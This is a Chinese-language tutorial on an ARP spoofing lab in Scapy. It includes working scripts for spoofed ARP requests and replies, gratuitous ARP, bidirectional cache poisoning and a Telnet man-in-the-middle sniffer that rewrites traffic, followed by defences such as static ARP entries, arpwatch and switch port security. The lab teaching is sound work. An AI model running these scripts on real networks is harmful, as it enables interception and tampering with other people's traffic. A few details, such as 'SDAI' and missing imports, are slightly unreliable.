从零构建ARP欺骗实验:Scapy实战与防御策略剖析
当你在咖啡厅连接公共Wi-Fi时,是否想过隔壁桌的陌生人可能正在窥探你的网络流量?这种攻击的核心技术之一就是ARP欺骗。不同于枯燥的理论讲解,本文将带你用Python和Scapy从零搭建实验环境,通过五个递进式攻击场景,深入理解局域网安全的核心漏洞。
1. 实验环境搭建与ARP基础
在开始发送第一个恶意数据包前,我们需要准备一个隔离的测试环境。推荐使用VirtualBox创建三台虚拟机:攻击者(M)、受害者A和B。关键配置如下:
| 主机角色 | IP地址 | 网络适配器模式 |
|---|---|---|
| 攻击者M | 10.9.0.105 | 内部网络 |
| 受害者A | 10.9.0.5 | 内部网络 |
| 受害者B | 10.9.0.6 | 内部网络 |
安装必要的Python包:
bash复制pip install scapy==2.4.5
sudo apt install net-tools # 用于arp命令
ARP协议精要:
- 工作在数据链路层的地址解析协议
- 通过广播查询IP与MAC的映射关系
- 缓存有效期通常为15-20分钟
- 无任何认证机制
查看ARP缓存的实用命令:
bash复制arp -n # 显示数字格式的ARP表
arp -d 10.9.0.6 # 删除特定IP的缓存
实验安全提示:所有操作应在封闭实验环境进行,切勿在真实网络测试
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. ARP欺骗的三重奏:请求、响应与免费ARP
2.1 基础ARP请求欺骗
构造虚假ARP请求是最直接的攻击方式。以下Scapy脚本会让受害者A误认为攻击者M是B:
python复制from scapy.all import Ether, ARP, sendp
def arp_request_spoof():
eth = Ether(dst="ff:ff:ff:ff:ff:ff") # 广播地址
arp = ARP(op=1, # 1表示请求
psrc="10.9.0.6", # 伪造的源IP(B)
pdst="10.9.0.5") # 目标IP(A)
sendp(eth/arp, iface="eth0", loop=1, inter=0.5)
关键参数解析:
op=1:ARP请求类型psrc:伪装成B的IPloop和inter:实现持续攻击
2.2 ARP响应欺骗进阶
相比请求包,响应包在某些场景下更具欺骗性:
python复制def arp_reply_spoof():
eth = Ether(dst="02:42:0a:09:00:05") # 直接发给A的MAC
arp = ARP(op=2, # 2表示响应
hwsrc="攻击者MAC", # 关键欺骗点
psrc="10.9.0.6",
pdst="10.9.0.5")
sendp(eth/arp, verbose=0)
实战发现:当目标ARP缓存为空时,单纯响应包往往无效。这是因为现代系统会忽略未经请求的ARP响应。
2.3 免费ARP的隐秘攻击
免费ARP本是用于IP冲突检测的合法机制,却成为最有效的攻击载体:
python复制def gratuitous_arp():
eth = Ether(dst="ff:ff:ff:ff:ff:ff")
arp = ARP(op=1,
psrc="10.9.0.6", # 关键点:源目IP相同
pdst="10.9.0.6",
hwdst="ff:ff:ff:ff:ff:ff")
sendp(eth/arp)
这种攻击成功率高的原因在于:
- 广播性质确保所有主机接收
- 系统默认处理机制会更新缓存
- 不依赖先前的ARP交互
3. 中间人攻击实战:Telnet会话劫持
3.1 双向ARP毒化
维持稳定的中间人位置需要持续毒化双方缓存:
python复制from time import sleep
def persistent_spoof():
while True:
# 欺骗A认为M是B
sendp(Ether()/ARP(op=2, psrc="10.9.0.6", pdst="10.9.0.5"))
# 欺骗B认为M是A
sendp(Ether()/ARP(op=2, psrc="10.9.0.5", pdst="10.9.0.6"))
sleep(10) # 保持每10秒刷新
3.2 流量转发与劫持
开启IP转发保证通信不被中断:
bash复制echo 1 > /proc/sys/net/ipv4/ip_forward
使用Scapy构建简易嗅探器:
python复制def mitm_sniffer():
def process_pkt(pkt):
if pkt.haslayer(TCP) and pkt[TCP].payload:
orig_data = pkt[TCP].payload.load
# 示例:将所有字母转为大写
modified = orig_data.upper() if isinstance(orig_data, bytes) else orig_data
new_pkt = pkt.copy()
del new_pkt[IP].chksum, new_pkt[TCP].chksum
new_pkt[TCP].payload.load = modified
send(new_pkt, verbose=0)
sniff(filter="tcp port 23", prn=process_pkt) # Telnet默认23端口
4. 防御策略与技术对抗
4.1 静态ARP绑定
最直接的防护方案是在关键主机设置静态ARP条目:
bash复制arp -s 10.9.0.6 02:42:0a:09:00:06 # 管理员权限
优劣分析:
- ✓ 彻底阻止动态ARP更新
- ✗ 维护成本高,不适应动态网络
- ✗ 不防御MAC泛洪攻击
4.2 ARP监控工具实践
Arpwatch是经典的ARP监控方案:
bash复制sudo apt install arpwatch
sudo systemctl start arpwatch
当检测到ARP变更时,日志会记录:
code复制Jul 15 10:23:45 host arpwatch: flip flop 10.9.0.6 02:42:0a:09:00:06 (old) -> 00:11:22:33:44:55 (new)
4.3 端口安全策略
企业级交换机可配置端口MAC绑定:
cisco复制switchport port-security
switchport port-security maximum 1
switchport port-security mac-address sticky
5. 协议层解决方案与未来演进
虽然本文聚焦ARPv4的攻击,但IPv6的NDP协议同样存在类似漏洞。真正解决方案应考虑:
- 802.1X认证:基于端口的网络访问控制
- IPSec加密:即使被监听也无法解密
- SDAI技术:思科提出的动态ARP检测
在企业网络中,结合以下措施形成纵深防御:
- 核心交换机启用DHCP Snooping
- 部署ARP防火墙终端软件
- 划分VLAN隔离敏感区域
- 定期进行ARP安全审计
在虚拟机实验中,通过Wireshark抓包分析ARP流量模式时,发现一个有趣现象:Windows系统相比Linux对免费ARP的处理更为保守,这解释了为何某些攻击在不同OS上效果差异明显。这也提醒安全人员,防御策略必须考虑实际环境中的系统多样性。
